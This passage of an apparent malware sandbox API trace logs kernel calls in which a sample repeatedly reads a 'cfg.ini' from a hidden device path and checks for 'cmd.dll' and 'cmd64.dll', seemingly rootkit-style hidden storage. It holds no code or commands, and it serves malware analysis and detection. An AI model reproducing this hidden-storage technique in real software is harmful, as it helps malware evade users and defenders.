(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] KeLeaveCriticalRegion () [0124.736] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.736] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.736] KeEnterCriticalRegion () [0124.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] ExFreePoolWithTag (P=0xfffffa8003bf3530, Tag=0x0) [0124.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] KeLeaveCriticalRegion () [0124.736] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.736] ReleaseMutex (hMutex=0xf0) returned 1 [0124.736] Sleep (dwMilliseconds=0x124f80) [0124.750] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.750] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.750] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.750] KeEnterCriticalRegion () [0124.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.750] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.750] IdePortDispatch () returned 0x103 [0124.751] KeWaitForMutexObject () returned 0x0 [0124.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.751] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.751] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.751] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.751] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.751] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf38e0 [0124.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.751] KeLeaveCriticalRegion () [0124.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.751] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.751] KeEnterCriticalRegion () [0124.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.751] KeLeaveCriticalRegion () [0124.751] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.751] KeEnterCriticalRegion () [0124.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.751] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.751] IdePortDispatch () returned 0x103 [0124.751] KeWaitForMutexObject () returned 0x0 [0124.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.751] KeLeaveCriticalRegion () [0124.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.752] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.752] KeEnterCriticalRegion () [0124.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b3000 [0124.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.752] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.752] IdePortDispatch () returned 0x103 [0124.752] KeWaitForMutexObject () returned 0x0 [0124.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.752] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.752] IdePortDispatch () returned 0x103 [0124.752] KeWaitForMutexObject () returned 0x0 [0124.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.752] KeLeaveCriticalRegion () [0124.752] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.753] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.753] KeEnterCriticalRegion () [0124.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] KeLeaveCriticalRegion () [0124.753] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.753] KeEnterCriticalRegion () [0124.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] KeLeaveCriticalRegion () [0124.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.753] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.753] KeEnterCriticalRegion () [0124.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] ExFreePoolWithTag (P=0xfffffa8003bf38e0, Tag=0x0) [0124.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.753] KeLeaveCriticalRegion () [0124.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.753] ReleaseMutex (hMutex=0xf0) returned 1 [0124.753] Sleep (dwMilliseconds=0x124f80) [0124.767] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.767] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.767] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.767] KeEnterCriticalRegion () [0124.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.767] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.767] IdePortDispatch () returned 0x103 [0124.767] KeWaitForMutexObject () returned 0x0 [0124.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.767] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3530 [0124.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.767] KeLeaveCriticalRegion () [0124.767] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.767] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.767] KeEnterCriticalRegion () [0124.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.767] KeLeaveCriticalRegion () [0124.767] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.767] KeEnterCriticalRegion () [0124.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.768] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.768] IdePortDispatch () returned 0x103 [0124.768] KeWaitForMutexObject () returned 0x0 [0124.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.768] KeLeaveCriticalRegion () [0124.768] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.768] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.768] KeEnterCriticalRegion () [0124.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b8000 [0124.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.768] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.768] IdePortDispatch () returned 0x103 [0124.768] KeWaitForMutexObject () returned 0x0 [0124.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.768] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.768] IdePortDispatch () returned 0x103 [0124.769] KeWaitForMutexObject () returned 0x0 [0124.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] KeLeaveCriticalRegion () [0124.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.769] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.769] KeEnterCriticalRegion () [0124.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] KeLeaveCriticalRegion () [0124.769] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.769] KeEnterCriticalRegion () [0124.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.769] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf35f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] KeLeaveCriticalRegion () [0124.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.769] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.769] KeEnterCriticalRegion () [0124.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] ExFreePoolWithTag (P=0xfffffa8003bf3530, Tag=0x0) [0124.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.769] KeLeaveCriticalRegion () [0124.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.770] ReleaseMutex (hMutex=0xf0) returned 1 [0124.770] Sleep (dwMilliseconds=0x124f80) [0124.785] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.785] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.785] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.785] KeEnterCriticalRegion () [0124.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.785] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.785] IdePortDispatch () returned 0x103 [0124.785] KeWaitForMutexObject () returned 0x0 [0124.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.785] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.785] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.785] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.785] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.785] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.785] KeLeaveCriticalRegion () [0124.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.785] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.785] KeEnterCriticalRegion () [0124.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.786] KeLeaveCriticalRegion () [0124.786] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.786] KeEnterCriticalRegion () [0124.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.786] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.786] IdePortDispatch () returned 0x103 [0124.786] KeWaitForMutexObject () returned 0x0 [0124.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.786] KeLeaveCriticalRegion () [0124.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.786] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.786] KeEnterCriticalRegion () [0124.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd000 [0124.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.786] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.786] IdePortDispatch () returned 0x103 [0124.786] KeWaitForMutexObject () returned 0x0 [0124.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.787] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.787] IdePortDispatch () returned 0x103 [0124.787] KeWaitForMutexObject () returned 0x0 [0124.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.787] KeLeaveCriticalRegion () [0124.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.787] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.787] KeEnterCriticalRegion () [0124.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.787] KeLeaveCriticalRegion () [0124.787] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.787] KeEnterCriticalRegion () [0124.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.787] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3230, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.787] KeLeaveCriticalRegion () [0124.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.787] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.788] KeEnterCriticalRegion () [0124.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.788] KeLeaveCriticalRegion () [0124.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.788] ReleaseMutex (hMutex=0xf0) returned 1 [0124.788] Sleep (dwMilliseconds=0x124f80) [0124.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.801] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.801] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.801] KeEnterCriticalRegion () [0124.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.801] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.801] IdePortDispatch () returned 0x103 [0124.802] KeWaitForMutexObject () returned 0x0 [0124.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3530 [0124.802] 